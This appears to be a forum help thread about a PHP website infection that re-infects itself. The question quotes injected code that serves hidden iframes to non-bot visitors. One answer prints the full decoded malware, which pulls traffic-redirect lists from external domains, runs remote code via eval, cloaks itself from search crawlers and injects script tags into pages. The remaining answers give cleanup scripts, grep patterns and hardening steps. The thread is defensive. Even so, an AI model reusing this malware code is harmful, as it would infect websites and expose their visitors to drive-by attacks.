array("65.52.0.0","65.55.255.255"),
array("74.6.0.0","74.6.255.255"),
array("67.195.0.0","67.195.255.255"),
array("72.30.0.0","72.30.255.255"),
array("38.0.0.0","38.255.255.255")
);
$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
$first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));
if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
}
foreach ($user_agent_to_filter as $bot_sign){
if (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
}
if (!$bot) {
echo '<div style="position: absolute; left: -1999px; top: -2999px;"><iframe src="http://lzqqarkl.co.cc/QQkFBwQGDQMGBwYAEkcJBQcEAAcDAAMBBw==" width="2" height="2"></iframe></div>';
}
I've tried several things to clean the virus even restoring from a backup and the files get re-infected after a few minutes or hours. So can you please help me?
What do you know about this virus?
Is there a known security hole it uses to install and propagate?
What does the above php code actually does?
What does the page it embeds in the iframe does?
And of course more importantly: What can i do to get rid of it?
Please help, we have been almost run out of ideas and hope :(
UPDATE1
Some more details: A weird thing is: When we first checked the infected files. They were changed but their modified time in the ftp program was showing last access to be days, months or even years ago in some cases! How is this even possible? It drives me crazy!
UPDATE 2
I think the problem initiated after a user installed a plugin in his Wordpress installation. After restoring from backup and completely deleting the Wordpress folder and the associated db the problem seems gone. We have currently subscribed to a security service and they are investigating the issue just to be sure the hack is gone for good. Thanks for anyone who replied.
Steps to recover and disinfect your site (provided you have a known good backup).
1) Shutdown the Site
You need to basically close the door to your site before you do your remedial work. This will prevent visitors getting malicious code, seeing error messages, etc. Just good practice.
You should be able to do this by putting the following into your .htaccess file in the webroot. (Replace "!!Your IP Address Here!!" with your own IP address - see http://icanhazip.com if you don't know your IP address.)
order deny,allow
deny from all
allow from !!Your IP Address Here!!
2) Download a Copy of All of your Files from the Server
Download everything into a separate folder from your good backups. This may take a while (dependent on your site size, connection speed, etc).
3) Download and Install a File/Folder Comparison Utility
On a Windows machine, you can use WinMerge - http://winmerge.org/ - it's free and quite powerful.
On a MacOS machine, check out the list of possible alternates from Alternative.to
4) Run the File/Folder Comparison Utility
You should end up with a few different results:
Files are Identical - The current file is the same as your backup, and so is unaffected.
File on Left/Right Side Only - That file either only exists in the backup (and may have been deleted from the server), or only exists on the server (and may have been injected/created by the hacker).
File is Different - The file on the server is not the same as the one in the backup, so it may have been modified by you (to configure it for the server) or by the hacker (to inject code).
5) Resolve the Differences
(a.k.a "Why can't we all just get along?")
For Files which are Identical, no further action is required.
For Files which Exist on One Side Only, look at the file and figure out whether they are legitimate (ie user uploads which should be there, additional files you may have added, etc.)
For Files which are Different, look at the file (the File Difference Utility may even show you which lines have been added/modified/removed) and see whether the server version is valid. Overwrite (with the backed-up version) any files which contain malicious code.
6) Review your Security Precautions
Whether this is as simple as changing your FTP/cPanel Passwords, or reviewing your use of external/uncontrolled resources (as you mention you are performing alot of fgets, fopens, etc. you may want to check the parameters being passed to them as that is a way to make scripts pull in malicious code), etc.
7) Check the Site Works
Take the opportunity of being the only person looking at the site to make sure that everything is still operating as expected, after the infected files are corrected and malicious files have been removed.
8) Open the Doors
Reverse the changes made in the .htaccess file in Step 1. Watch carefully. Keep an eye on your visitor and error logs to see if anyone tries to trigger the removed malicious files, etc.
9) Consider Automated Detection Methods
There are a few solutions, allowing for you to have an automated check performed on your host (using a CRON job) which will detect and detail any changes which occur. Some are a bit verbose (you will get an email for each and every file changed), but you should be able to adapt them to your needs:
Tripwire - a PHP script to detect and report new, deleted or modified files
Shell script to monitor file changes
How to detect if your webserver is hacked and get alerted
10) Have Scheduled Backups, and Retain a Good Bracket
Make sure you have scheduled backups performed on your website, keep a few of them, so you have different steps you can go back in time, if necessary. For instance, if you performed weekly backups, you might want to keep the following:
4 x Weekly Backups
4 x Monthly Backups (you retain one of the Weekly Backups, maybe the first week of the month, as the Monthly Backup)
These will always make life easier if you have someone attack your site with something a bit more destructive than a code injection attack.
Oh, and ensure you backup your databases too - with alot of sites being based on CMSes, having the files is nice, but if you lose/corrupt the database behind them, well, the backups are basically useless.
I suffered from the same hack job. I was able to decrypt the code as well, and while I got different php code, I started by removing the injected php text by looping through each php file in the site and removing the eval call. I am still investigating how I got it to begin with but here is what mine looked like after decrypting from this website:
To decode the encrypted php script on each php file use this:
http://www.opinionatedgeek.com/dotnet/tools/base64decode/
And formatting the result using this guy:
http://beta.phpformatter.com/
To clean you need to remove the "eval" line from the top of each php file, and delete the .log folders from the base folder of the website.
I found a python script which I modified slightly to remove the trojan in php files so I will post it here for others to use:
code source from thread: replace ALL instances of a character with another one in all files hierarchically in directory tree
import os
import re
import sys
def try_to_replace(fname):
if replace_extensions:
return fname.lower().endswith(".php")
return True
def file_replace(fname, pat, s_after):
# first, see if the pattern is even in the file.
with open(fname) as f:
if not any(re.search(pat, line) for line in f):
return # pattern does not occur in file so we are done.
# pattern is in the file, so perform replace operation.
with open(fname) as f:
out_fname = fname + ".tmp"
out = open(out_fname, "w")
for line in f:
out.write(re.sub(pat, s_after, line))
out.close()
os.rename(out_fname, fname)
def mass_replace(dir_name, s_before, s_after):
pat = re.compile(s_before)
for dirpath, dirnames, filenames in os.walk(dir_name):
for fname in filenames:
if try_to_replace(fname):
print "cleaning: " + fname
fullname = os.path.join(dirpath, fname)
file_replace(fullname, pat, s_after)
if len(sys.argv) != 2:
u = "Usage: rescue.py <dir_name>\n"
sys.stderr.write(u)
sys.exit(1)
mass_replace(sys.argv[1], "eval\(base64_decode\([^.]*\)\);", "")
to use type
python rescue.py rootfolder
This is what the malicious script was trying to do:
<?php
if (function_exists('ob_start') && !isset($_SERVER['mr_no'])) {
$_SERVER['mr_no'] = 1;
if (!function_exists('mrobh')) {
function get_tds_777($url)
{
$content = "";
$content = #trycurl_777($url);
if ($content !== false)
return $content;
$content = #tryfile_777($url);
if ($content !== false)
return $content;
$content = #tryfopen_777($url);
if ($content !== false)
return $content;
$content = #tryfsockopen_777($url);
if ($content !== false)
return $content;
$content = #trysocket_777($url);
if ($content !== false)
return $content;
return '';
}
function trycurl_777($url)
{
if (function_exists('curl_init') === false)
return false;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_HEADER, 0);
$result = curl_exec($ch);
curl_close($ch);
if ($result == "")
return false;
return $result;
}
function tryfile_777($url)
{
if (function_exists('file') === false)
return false;
$inc = #file($url);
$buf = #implode('', $inc);
if ($buf == "")
return false;
return $buf;
}
function tryfopen_777($url)
{
if (function_exists('fopen') === false)
return false;
$buf = '';
$f = #fopen($url, 'r');
if ($f) {
while (!feof($f)) {
$buf .= fread($f, 10000);
}
fclose($f);
} else
return false;
if ($buf == "")
return false;
return $buf;
}
function tryfsockopen_777($url)
{
if (function_exists('fsockopen') === false)
return false;
$p = #parse_url($url);
$host = $p['host'];
$uri = $p['path'] . '?' . $p['query'];
$f = #fsockopen($host, 80, $errno, $errstr, 30);
if (!$f)
return false;
$request = "GET $uri HTTP/1.0\n";
$request .= "Host: $host\n\n";
fwrite($f, $request);
$buf = '';
while (!feof($f)) {
$buf .= fread($f, 10000);
}
fclose($f);
if ($buf == "")
return false;
list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
return $buf;
}
function trysocket_777($url)
{
if (function_exists('socket_create') === false)
return false;
$p = #parse_url($url);
$host = $p['host'];
$uri = $p['path'] . '?' . $p['query'];
$ip1 = #gethostbyname($host);
$ip2 = #long2ip(#ip2long($ip1));
if ($ip1 != $ip2)
return false;
$sock = #socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (!#socket_connect($sock, $ip1, 80)) {
#socket_close($sock);
return false;
}
$request = "GET $uri HTTP/1.0\n";
$request .= "Host: $host\n\n";
socket_write($sock, $request);
$buf = '';
while ($t = socket_read($sock, 10000)) {
$buf .= $t;
}
#socket_close($sock);
if ($buf == "")
return false;
list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
return $buf;
}
function update_tds_file_777($tdsfile)
{
$actual1 = $_SERVER['s_a1'];
$actual2 = $_SERVER['s_a2'];
$val = get_tds_777($actual1);
if ($val == "")
$val = get_tds_777($actual2);
$f = #fopen($tdsfile, "w");
if ($f) {
#fwrite($f, $val);
#fclose($f);
}
if (strstr($val, "|||CODE|||")) {
list($val, $code) = explode("|||CODE|||", $val);
eval(base64_decode($code));
}
return $val;
}
function get_actual_tds_777()
{
$defaultdomain = $_SERVER['s_d1'];
$dir = $_SERVER['s_p1'];
$tdsfile = $dir . "log1.txt";
if (#file_exists($tdsfile)) {
$mtime = #filemtime($tdsfile);
$ctime = time() - $mtime;
if ($ctime > $_SERVER['s_t1']) {
$content = update_tds_file_777($tdsfile);
} else {
$content = #file_get_contents($tdsfile);
}
} else {
$content = update_tds_file_777($tdsfile);
}
$tds = #explode("\n", $content);
$c = #count($tds) + 0;
$url = $defaultdomain;
if ($c > 1) {
$url = trim($tds[mt_rand(0, $c - 2)]);
}
return $url;
}
function is_mac_777($ua)
{
$mac = 0;
if (stristr($ua, "mac") || stristr($ua, "safari"))
if ((!stristr($ua, "windows")) && (!stristr($ua, "iphone")))
$mac = 1;
return $mac;
}
function is_msie_777($ua)
{
$msie = 0;
if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") || stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9"))
$msie = 1;
return $msie;
}
function setup_globals_777()
{
$rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
$mz = "/tmp/";
if (!#is_dir($rz)) {
#mkdir($rz);
if (#is_dir($rz)) {
$mz = $rz;
} else {
$rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
if (!#is_dir($rz)) {
#mkdir($rz);
if (#is_dir($rz)) {
$mz = $rz;
}
} else {
$mz = $rz;
}
}
} else {
$mz = $rz;
}
$bot = 0;
$ua = $_SERVER['HTTP_USER_AGENT'];
if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
$bot = 1;
if (stristr($ua, "bingbot") || stristr($ua, "google"))
$bot = 1;
$msie = 0;
if (is_msie_777($ua))
$msie = 1;
$mac = 0;
if (is_mac_777($ua))
$mac = 1;
if (($msie == 0) && ($mac == 0))
$bot = 1;
global $_SERVER;
$_SERVER['s_p1'] = $mz;
$_SERVER['s_b1'] = $bot;
$_SERVER['s_t1'] = 1200;
$_SERVER['s_d1'] = base64_decode('http://ens122zzzddazz.com/');
$d = '?d=' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" . urlencode($_SERVER["PHP_SELF"]) . "&a=" . urlencode($_SERVER["HTTP_USER_AGENT"]);
$_SERVER['s_a1'] = base64_decode('http://cooperjsutf8.ru/g_load.php') . $d;
$_SERVER['s_a2'] = base64_decode('http://nlinthewood.com/g_load.php') . $d;
$_SERVER['s_script'] = "nl.php?p=d";
}
setup_globals_777();
if (!function_exists('gml_777')) {
function gml_777()
{
$r_string_777 = '';
if ($_SERVER['s_b1'] == 0)
$r_string_777 = '<script src="' . get_actual_tds_777() . $_SERVER['s_script'] . '"></script>';
return $r_string_777;
}
}
if (!function_exists('gzdecodeit')) {
function gzdecodeit($decode)
{
$t = #ord(#substr($decode, 3, 1));
$start = 10;
$v = 0;
if ($t & 4) {
$str = #unpack('v', substr($decode, 10, 2));
$str = $str[1];
$start += 2 + $str;
}
if ($t & 8) {
$start = #strpos($decode, chr(0), $start) + 1;
}
if ($t & 16) {
$start = #strpos($decode, chr(0), $start) + 1;
}
if ($t & 2) {
$start += 2;
}
$ret = #gzinflate(#substr($decode, $start));
if ($ret === FALSE) {
$ret = $decode;
}
return $ret;
}
}
function mrobh($content)
{
#Header('Content-Encoding: none');
$decoded_content = gzdecodeit($content);
if (preg_match('/\<\/body/si', $decoded_content)) {
return preg_replace('/(\<\/body[^\>]*\>)/si', gml_777() . "\n" . '$1', $decoded_content);
} else {
return $decoded_content . gml_777();
}
}
ob_start('mrobh');
}
}
?>
First, shut off your site until you can figure out how he got in and how to fix it. That looks like it's serving malware to your clients.
Next, search through your php files for fgets, fopen, fputs, eval, or system. I recommend notepad++ because of its "Find in Files" feature. Also, make sure that that's the only place your PHP has been modified. Do you have an offline copy to compare against?
To get rid of these malicious PHP you simply needs to remove them. If the file is infected, you need to remove only the part which looks suspicious.
It's always tricky to find these files, because usually there are multiple of them across your web root.
Usually if you see some kind of obfuscations, it's red alert for you.
Most of the malwares are easy to find based on the common functions which they use, this includes:
base64_decode,
lzw_decompress,
eval,
and so on
By using encoding format, they're compacting their size and make them more difficult to decode by non-experienced users.
Here are few grep commands which may find the most common malware PHP code:
grep -R return.*base64_decode .
grep --include=\*.php -rn 'return.*base64_decode($v.\{6\})' .
You can run these commands on the server or once you synchronised your website into your local machine (via FTP e.g. ncftpget -R).
Or use scan tools which are specially designed for finding that kind of malicious files, see: PHP security scanners.
For education purposes, please find the following collection of PHP exploit scripts, found when investigating hacked servers available at kenorb/php-exploit-scripts GitHub (influenced by #Mattias original collection). This will give you understanding how these PHP suspicious files look like, so you can learn how to find more of them on your server.
See also:
What does this malicious PHP script do?
Drupal: How to remove malicious scripts from admin pages after being hacked?
My websites / or websites I host were hit several times with similar attacks.
I present what I did to resolve the issue. I don't pretend it's the best / easiest approach but it works and since then I can proactively keep the ball in my field.
solve the issue ASAP
I created a very simple PHP script (it was written when the iron was hot so maybe it's not the most optimized code BUT it solves the problem pretty fast):
http://www.ecommy.com/web-security/clean-php-files-from-eval-infection
make sure you know when something like this hits again. Hackers use all kind of aproaches from SQL injection of one of your external modules you install to brute force your admin panel with dictionary attacks or very well known password patterns like 1qaz... qwerty.... etc...
I present the scripts here:
http://www.ecommy.com/web-security/scan-for-malware-viruses-and-php-eval-based-infections
the cron entry would be something like:
0 2 * * 5 /root/scripts/base64eval_scan > /dev/null 2>&1&
I updated the pages so someone can download directly the files.
Hope it will he useful for you as it's for me :)
Ensure any popular web applications like Wordpress or vBulletin are updated. There are many exploits with the old versions that can lead to your server getting compromised and it will probably happen again if they are not updated. No use in proceeding until this is done.
If the files keep getting replaced then there is a rootkit or trojan running in the background. That file cannot replicate itself. You will have to get rid of the rootkit first. Try rkhunter, chkrootkit, and LMD. Compare the output of ps aux to a secured server and check /var/tmp and /tmp for suspicious files. You might have to reinstall the OS.
Ensure all workstations administrating the server are up to date and clean. Do not connect via insecure wireless connections or use plain text authentication like with FTP (use SFTP instead). Only log into control panels with https.
To prevent this from happening again run csf or comparable firewall, daily LMD scans, and stay current with the latest security patches for all applications on the server.
I have the same issue and when I delete that, the code generated automatically.I did these steps and it works fine:
1-Limit SSH access
I see some ssh logins attempt and guess it may be related to this Malicious!
2- Enable SELinux
remember that config SElinux for nignx permission access file
3- Remove eval(base64_decode(...))
remove lines contain eval(base64_decode(...)) from all index.php [from root folders, plugin's folders and ....]
Assuming this is a Linux-based server and you have SSH access, you could run this to remove the offending code:
find . -name "*.php" | xargs sed -i 's#eval[ \t]*([ \t]*base64_decode[ \t]*([ \t]*['"'"'"][A-Za-z0-9/_=+:!.-]\{1,\}['"'"'"][ \t]*)[ \t]*)[ \t]*;##'
This covers all known base64 implementations, and will work whether the base64 text is surrounded by single or double quotes
EDIT: now works with internal whitespace also

Categories